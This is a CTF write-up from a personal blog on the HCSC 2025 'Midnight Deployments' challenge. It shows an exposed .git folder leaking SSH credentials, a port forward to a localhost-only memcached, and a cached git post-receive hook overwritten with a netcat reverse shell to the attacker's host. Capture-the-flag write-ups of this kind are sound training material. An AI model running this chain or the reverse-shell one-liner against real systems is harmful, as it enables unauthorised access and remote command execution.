tkh4ck.github.io

Personal website and blog of tkh4ck

View on GitHub

HCSC 2025 - Midnight Deployments

Description

A sleep-deprived sysadmin, fueled by caffeine and regret, rushed a last-minute deployment at 3 AM. The code worked—somehow. Management was happy—probably. And security? Well… let’s not talk about security. Now, their past decisions are coming back to haunt them. Can you uncover what they missed before they wake up?

Flag format: HCSC{...}

10.10.1-9.11:17367,22283

By: ab310

Metadata

Solution

Unfortunatelly, I was not able to solve this challenge, regardless the fact that I’ve solved several similar tasks before, missmanaged sleeping…

Let’s run nmap on the given ports:

[...]
17367/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
22283/tcp open  http    Apache httpd 2.4.62 ((Debian))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
| http-git:
|   10.10.4.11:22283/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Addnig nothing
|_http-server-header: Apache/2.4.62 (Debian)

We have an SSH server and a webserver with an accessible /.git/ folder.

Let’s download the /.git repository using git-dumper (https://github.com/arthaud/git-dumper).

If we check the logs and go back to the first commit, we’ll get some credentials for the git user.

$ git:(master) git logs
commit da808a74469be3a2d0ae67521e2c82b006daf411 (HEAD -> master)
Author: root <root@localhost>
Date:   Tue Apr 8 15:01:59 2025 +0000

    Addnig nothing

commit bbe9af1aa04ae51b9d43be006cf1cf0022852922
Author: root <root@localhost>
Date:   Tue Apr 8 15:01:59 2025 +0000

    Oooops

commit b745be84816424f92167e3f02bb657046c08fd17
Author: root <root@localhost>
Date:   Tue Apr 8 15:01:59 2025 +0000

    Initial commit

$ git:(master) git checkout b745be84816424f92167e3f02bb657046c08fd17
Note: switching to 'b745be84816424f92167e3f02bb657046c08fd17'.

HEAD is now at b745be8 Initial commit
$ git:(b745be8) ls
$ git:(b745be8) ls -la
total 16
drwxr-xr-x 3 pentest pentest 4096 Apr 26 10:47 .
drwxr-xr-x 3 pentest pentest 4096 Apr 26 10:46 ..
drwxr-xr-x 7 pentest pentest 4096 Apr 26 10:47 .git
-rw-r--r-- 1 pentest pentest   37 Apr 26 10:47 .git-credentials
$ git:(b745be8) cat .git-credentials
git:REvOnr2nTInUUja6rhFEtR8oxg1fnClB

The credentials can be checked with SSH:

$ ssh -p 17367 git@10.10.1.11
(git@10.10.1.11) Password:
Linux 8ef5195c7e22 6.1.0-33-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.133-1 (2025-04-10) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 30 11:07:12 2025 from 10.9.0.6

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
fatal: Interactive git shell is not enabled.
hint: ~/git-shell-commands should exist and have read and execute access.
Connection to 10.10.1.11 closed.

We cannot execute any command and it is not possible to clone or push to the identified repository because it is owned by the root user. Available exploits against git servers did not work.

The only thing we can to is to create an SSH dynamic port forward and pray that there is a service which is only listening on localhost.

$ ssh -D 9050 -N -p 17367 git@10.10.1.11
# Edit /etc/proxychains.conf if necessary
$ proxychains -q nmap -v -sT -p- 127.0.0.1
[...]
Discovered open port 22/tcp on 127.0.0.1
Discovered open port 80/tcp on 127.0.0.1
Discovered open port 11211/tcp on 127.0.0.1
[...]
$ proxychains -q nmap  -sT -sV -p 11211 127.0.0.1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 02:21 CEST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 127.0.0.1
Host is up (0.054s latency).

PORT      STATE SERVICE   VERSION
11211/tcp open  memcached Memcached 1.6.18 (uptime 566189 seconds)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.31 seconds

There is a memcached service running, which is only available on localhost. We can use libmemcached-tools to query the memory cache.

$ sudo apt install libmemcached-tools
$ proxychains memcdump --servers=127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:11211  ...  OK
git:cache:hooks/post-receive
$ proxychains memccat --servers=127.0.0.1 git:cache:hooks/post-receive
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:11211  ...  OK
echo 'Repository location is /home/git/repo'

There is a git:cache:hooks/post-receive entry in the cache with the content echo 'Repository location is /home/git/repo'. Here we can have an idea, to update the content of the cache (the post-receive hook) by writing some custom code to it (reverse shell) and then push something to the repository to trigger the hook.

The repository can be cloned using the following command:

$ git clone ssh://git@10.10.1.11:17367/home/git/repo
Cloning into 'repo'...
(git@10.10.1.11) Password:
remote: Enumerating objects: 114, done.
remote: Counting objects: 100% (114/114), done.
remote: Compressing objects: 100% (86/86), done.
remote: Total 114 (delta 18), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (114/114), 9.59 KiB | 37.00 KiB/s, done.
Resolving deltas: 100% (18/18), done.

If we push something to the repository, we will receive the output of the hook in the remote: lines:

$ git push
(git@10.10.1.11) Password:
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 16 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 305 bytes | 305.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
remote: Repository location is /home/git/repo
To ssh://10.10.1.11:17367/home/git/repo
   505dd7f..03bb0a5  master -> master

It is important to highlight that we can only execute one command or separate it with &&.

Now we can create a file git:cache:hooks/post-receive with some reverse shell content (rm /tmp/f && mkfifo /tmp/f && cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.0.184 12345 > /tmp/f) and upload it to memcached using memccp and memccat.

$ git:(master) ✗ proxychains memccp --servers=127.0.0.1 --relative git:cache:hooks/post-receive
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:11211  ...  OK
$ git:(master) ✗ proxychains memccat --servers=127.0.0.1 git:cache:hooks/post-receive
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:11211  ...  OK
rm /tmp/f && mkfifo /tmp/f && cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.0.184 12345 > /tmp/f

It is important to highlight that the content of the hook will be reset after a few seconds!

If we set the reverse shell payload and push to the repository, we will get the response in nc and we can get the flag:

$ echo `date` > test
$ git add test
$ git commit -m "test"
[master 5c948bc] test
 1 file changed, 1 insertion(+), 1 deletion(-)
$ git push
(git@10.10.1.11) Password:
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 16 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 305 bytes | 305.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)

$ nc -vlnp 12345
Listening on 0.0.0.0 12345
Connection received on 10.10.1.11 49148
/bin/sh: 0: can't access tty; job control turned off
$ find / -name flag.txt 2>/dev/null
/home/git/d3v3l0p3r_d1rty_s3cr3t/flag.txt
$ cat /home/git/d3v3l0p3r_d1rty_s3cr3t/flag.txt
HCSC{c4Ch3_Me_1f_y0U_cAn}

The flag is: HCSC{c4Ch3_Me_1f_y0U_cAn}